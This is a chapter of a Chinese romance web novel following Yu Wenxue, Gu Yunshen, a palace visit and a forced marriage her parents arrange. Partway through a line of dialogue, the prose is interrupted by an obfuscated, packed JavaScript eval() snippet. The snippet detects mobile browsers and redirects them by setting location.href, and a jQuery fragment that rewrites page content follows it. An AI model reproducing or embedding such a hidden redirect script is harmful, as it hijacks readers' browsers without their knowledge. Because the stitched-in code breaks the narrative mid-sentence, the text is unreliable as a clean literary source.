月色从半敞的窗棂照进屋子,在顾云深的侧脸打下一道柔和的银光,美得晃人心神。
喻闻雪怔愣一瞬,视线落到了他的唇上。
很红,很鲜艳,就像冰镇过的红樱桃,很想尝一口......
不行不行。
大眼睛,别看了!
喻闻雪伸手在眼前抓了两下,企图将那些古怪的思绪赶跑。
不得不承认,他的长相真的很符合她的审美,要是性格再好一点,几乎就是个完美的人......
别想了别想了。
又跑偏了。
一定是海棠春的余毒未清,搞得她最近总是看着他的脸发呆。
“喵——”
小猫的叫声拉回了喻闻雪纷飞的思绪,亲昵地在她脚下蹭了蹭。
粉红色的肉垫一张一合,比起第一次见到它时更圆润长大了一些,这副可爱的模样,凭谁看了都忍不住摸摸它。
她晃了晃头,尽量不让自己看起来像一个色中饿鬼,问道:“二公子,你回去找它了吗?”
“它自己缠上来的。”顾云深从椅子上起身,环顾四周,最后将目光定在床榻上的玉枕。
香气有异。
不出意外,这里应该是中毒来源。
喻闻雪顺着他的目光探去,见他直勾勾地盯着枕头,一时间福至心灵。
他困了,想睡觉。
但侯府跟行宫不太一样,他睡在这里,怕是不妥。
明明说出的话并不温柔,甚至称得上是不耐烦,但她知道,这已经是他开始“从良”的第一步。
思及此,她忍住想将小猫抱起来的冲动,轻轻拥住了他,时刻谨记一个“香囊”的本分。
都这么明显了,自己若不做出点表示,未免有些说不过去。
顾云深身子一僵,似是没料到她会直接抱上来。
见他迟迟没有动静,喻闻雪误以为他的旧疾又严重了,于是加了力道,抱得更紧了些。
他的旧疾有没有缓解不知道。
她的毒可能不太好了。
以往拥抱就可以平复下来的躁热却并没有得到缓解。
这是怎么回事,冷宝宝不管用了吗?
顾云深垂眸,掩饰眼底的情愫,下意识扣紧她的腰。
沐浴后的少女气息干净舒心,叫人短暂地忘却一切烦恼。
他那时也不知是怎么,鬼使神差地将这只猫捉了回来。
他不明白为什么要这么做,这个问题是他从未涉及到的领域。
只是觉得,她看到这只猫,一定会笑。
她笑了,心口那里会莫名的熨帖。
很奇怪,但并不令人讨厌。
“你不喜欢吗?”
他问。
“喜欢啊。”喻闻雪回过神来,又拍了拍他的背:“我不嫌吵,谢谢你。”
闻言,顾云深的眉头也松了下来,紧接着,就听喻闻雪支支吾吾道:“侯府不比行宫,你若睡在我这里难免会被人碰见......”
“嗯?”
“我的意思是,传出去对你的名声不好。”喻闻雪松开手,背对着他抱起猫:“今天太晚了,我就不留你喝茶了,你,你先回去吧。”
顾云深没有挪动脚步,看她左脚险些把右脚绊倒,反问道:“你耳朵为什么红了?”
“四月了,天气热。”
“你不是说抱着我睡很凉快吗?”
“那是之前说的,说过的话已经就饭吃了,不记得了。”
喻闻雪顶着一张红成番茄的脸,钻进被子,把自己蒙了进去:“我睡着了,你回去吧。”
顾云深没听她的话,静默一瞬,走上前。
余光看见一只修长白皙的手伸了进来,喻闻雪语气慌张:“虽然我们一起睡过很多次了,但怎么说我也是个爱干净的姑娘家,你好歹换身衣裳再上床......”
话音未落,被子掀开,玉枕被抽了出去。
“我只是来拿枕头。”顾云深用手掂量了一下枕头的分量,缓缓勾起嘴角:“你在期待什么?”
“......期待个鬼!”
喻闻雪翻了个身,把自己缩成一个鹌鹑,摸了摸涨红的脸,决定暂时不要跟他讲话。
太可恶了!
*
翌日一早,林家的马车早早在侯府门口等候,林清婉特意过来,打算陪喻闻雪一同入宫。
喻闻雪时不时掀开帘子看向窗外,焦躁的心情难以平静。
初次进宫难免会有些紧张,毕竟电视剧里经常上演说错话就要拖出去乱棍打死的戏码。
她这小命本就活得艰难,断不可再出什么岔子。
林清婉握住她的手,莞尔一笑:“不要怕,太后娘娘为人和善,不会难为你的。”
“我没怕。”
才怪。
喻闻雪勉强挤出一个假笑。
林清婉噗地笑了出声:“还说不怕,瞧你,手都在抖了。”
“可能是帕金森了吧......哎!”
马车骤然停下,两人重力不稳朝前扑了过去,险些摔倒。
“金瓦高,琼楼深,天子取物不需钱......”
“草儿飘,花儿落,龙子流落在民间......”
车夫扯着嗓子喊道:“哪来的小孩,快快快,一边儿玩去。”
“发生何事?”林清婉揉着撞痛的手臂问道。
“几个小孩子当街乱窜,让二位小姐受惊了。”
林清婉摇头叹道:“罢了,莫要伤到孩子们就好。”
喻闻雪心觉不妙。
这童谣听起来颇为熟悉。
很像在讲述天子强取豪夺,有一子流落民间的故事。
联想到之前穿梭进小顾云深的回忆……
只怕是有人故意以孩子的口吻来散播关于他身世的谣言。
就是不知,顾云深的身世,他本人是否知情......
连她的心境也开始七上八下。
这种不安的思绪一直持续到太后召见之后方才渐渐平息。
殿内白烟袅袅,太后手持佛珠,简单聊过几句话后便叫身边的姑姑端上来一个金盘。
“听闻,你在顾家跟府上的二公子较为熟悉?”
“回太后娘娘,称不上十分相熟,只是比其他人稍微熟悉一点。”喻闻雪恭敬道:“二公子为人仗义,帮了我很多。”
“这样啊。”太后眼角含着淡淡的笑意,正想再说些什么,就听门外通传:“皇上驾到。”
太后神色一滞,话到嘴边又咽了回去,眼神不经意朝一侧瞥了过去。
见状,一旁的云姑姑当即扶着喻闻雪起身:“姑娘,太后娘娘很喜欢你。”
“时辰不早了,奴婢送您先回去。”
喻闻雪按照林清婉教她的礼仪规规矩矩告退,行至门口时,与来请安的皇上擦肩而过。
脑海里蓦地蹦出来一些不合时宜的虎狼之词,她不敢抬头,生怕回忆起当时那个旖旎的场面。
太尴尬了。
庆明帝脚步虚浮,略显浑浊的双眼微微上抬,回头瞧了一下:“那个姑娘是......”
“顾家的表姑娘,也是祭天大典上奏乐的那个姑娘。”
庆明帝收回视线,回想起近日的流言,喃喃道:“是她啊。”
回到侯府,喻闻雪屁股还没坐热乎,就被老夫人身边的婆子请到了寒柏院。
一进院子大门,就听见正堂有人争吵。
顾容廷义正言辞地开口:“祖母,这件事我绝对不会同意,您还是死了这条心吧。”
老夫人放下手中的茶盏,精明的眉眼充满了算计,慢悠悠道:“自古以来,父母之命媒妁之言,今日闻雪的父母都在,岂容你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374029|181545||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在此置喙?”
“那也不能将表妹嫁到朔州那等苦寒之地!”顾容廷吼道:“俗话称,宁拆一座庙,不破一桩婚,表妹她......”
他停顿了一下,终究是顾及喻闻雪的名声,没有说得太详细,道:“表妹并不认识那位周公子,盲婚哑嫁,又怎可取?”
老夫人阖眼,没有继续开口。
顾容廷向来温和,可一旦动怒,犯了倔劲儿,饶是十头牛也拉不回来。
如今顾家最出息的就是这两兄弟,为何大房的子弟个个出息,而她亲生的二房却早亡,孙子更是个扶不上墙的烂泥......
喻闻雪站在门口听了一会儿,虽未听全,但也听出个七八分。
她稳了稳心神,轻声道:“老夫人,表哥。”
众人目光齐刷刷朝她看过来,为首那个身穿大红色裙装的胖妇人唤道:“闻雪啊,我的乖女!”
跟在她身后的瘦小男人也跟着喊道:“乖女!”
赌博的爹,贪财的娘,两人一左一右站在她身边,一口一个乖女,叫得喻闻雪直头疼。
但她又不好表示出来,只能配合地上演一出相亲相爱一家人的戏码。
“闻雪,你父母不远万里来到侯府,跟你商讨一下成婚事宜。”老夫人笑道。
“成婚?谁成婚,我要随份子钱吗?”喻闻雪问道。
胖妇人干巴巴笑了两声,解释道:“老夫人为你寻了一门好亲事,虽说在朔州远了些,但周公子一表人才,家境又殷实,是多少女郎梦寐以求都想嫁过去的如意郎君。”
喻闻雪了然道:“哦,既然她们梦寐以求,我就不跟她们抢了。”
“你这孩子,怎么这么蠢呢!”瘦男人扶正了腰带,吡道:“若非周公子的生辰八字与你相和,这种好事又岂能轮到我们?你合该知足才是。”
“是啊,你也不小了,我在你这年纪的时候,你哥哥都能打酱油了,这大好姻缘,泼天的富贵,你可得把握住了。”
胖妇人想去摸她的手,被喻闻雪不动声色地抽了回去:“娘,我还不想嫁人。”
“浑话!哪有大姑娘不嫁人的?”
“我不嫁。”
老夫人一言不发,冷眼旁观。
瘦男人轻嗤一声:“聘礼都收下了,庚帖也换了,婚事就定在下个月初,你就是嫁也得嫁,不嫁也得嫁......”
“我们含辛茹苦养你长大,这才攀上高枝几天,你就翅膀硬了?”
“够了!”顾容廷挡在喻闻雪的身前,对着她父母,一字一句道:“闻雪不想嫁,你们又岂能逼迫于她?”
“早知你是个白眼狼,当初就不该捡你回来......”瘦男人声音极低,抬头觑着顾容廷的神色,闭上了嘴。
大树下,观南鄙夷地瞧着这对冷血的父母,啐了一口,消失在无尽黑夜。
听完观南略带添油加醋的话后,顾云深反应平平,面无表情地“嗯”了一声。
观南迟疑道:“公子,您就不打算做点什么吗?”
“我应该做什么?”顾云深摩挲着手里那枚燕子香囊,里面放着喻闻雪的画像。
忽地,香囊的穗子断了。
他小心翼翼地将穗子放了回去,抬手摸了下心口。
又是这种感觉。
闷闷的,不舒服。
“婚事就在下月初,算下来,已经不足一个月了。”观南重复道。
“迤东水患,过些时日我要出趟门。”顾云深抬腿欲走。
观南叹了一口气。
原以为经历了这么多,主子对喻姑娘是有些不同的,没想到他又回到了原来那个生人勿近的样子。
“唉,可怜的喻姑娘,马上就要去嫁一个不爱的人了,不知何时有机会再能见面。”
顾云深停下脚步,捏着香囊的指节微微泛白,回头问道:“那人叫什么名字?”